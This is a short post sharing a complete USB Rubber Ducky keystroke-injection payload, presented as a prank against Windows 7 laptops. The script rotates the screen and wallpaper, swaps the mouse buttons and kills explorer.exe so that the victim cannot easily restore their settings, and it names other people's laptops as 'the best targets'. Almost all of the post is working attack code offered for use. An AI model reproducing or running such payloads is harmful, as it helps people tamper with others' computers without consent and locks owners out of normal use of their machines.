I borrowed and tweaked some of my favorite prank payloads. Together, they create a fairly screwy effect.
This script is intended for Windows 7 PCs with a single monitor. I find that laptops are the best targets.
Ducky Code:
REM **********************************************************************************
REM * This takes a screenshot of the desktop, disables desktop icons, *
REM * rotates the screenshot 180 degrees, and makes it the desktop background image. *
REM * -- Borrowed from some of Darren Kitchen's work *
REM **********************************************************************************
DELAY 2000
GUI d
DELAY 500
PRINTSCREEN
DELAY 100
MENU
DELAY 300
STRING V
DELAY 100
STRING D
DELAY 100
GUI r
DELAY 100
STRING mspaint
ENTER
DELAY 300
CTRL v
DELAY 100
ALT V
DELAY 100
LEFT
DELAY 100
DOWN
DELAY 100
RIGHT
DELAY 100
RIGHT
DELAY 100
RIGHT
DELAY 100
DOWN
DELAY 100
ENTER
DELAY 100
DOWN
DELAY 100
DOWN
DELAY 100
ENTER
DELAY 100
CTRL s
DELAY 200
STRING %userprofile%\a.bmp
ENTER
DELAY 200
ALT f
DELAY 200
STRING K
DELAY 100
STRING F
DELAY 300
ALT F4
DELAY 300
GUI d
REM *********************************************
REM * This Part rotates the screen 180 degrees *
REM * -- Borrowed from BrokenProphet *
REM *********************************************
DELAY 1000
CONTROL ESCAPE
DELAY 100
STRING Screen Resolution
DELAY 100
ENTER
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
DOWN
DELAY 100
DOWN
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 100
TAB
DELAY 100
ENTER
DELAY 500
GUI d
DELAY 200
CONTROL ESCAPE
DELAY 200
STRING mouse
DELAY 200
REM this is opening up the mouse config.
ENTER
DELAY 200
STRING s
DELAY 200
ENTER
REM ***********************************************************************************
REM * This part Kill Proccess "explorer.exe" so that the real task bar is not visible *
REM * and the user cannot right-click to correct the screen resolution settings *
REM * -- Borrowed from overwraith *
REM ***********************************************************************************
DELAY 300
CONTROL ESC
DELAY 100
STRING cmd
DELAY 100
ENTER
DELAY 300
STRING taskkill /f /im "explorer.exe"
DELAY 300
ENTER
DELAY 300
STRING exit
DELAY 300
ENTER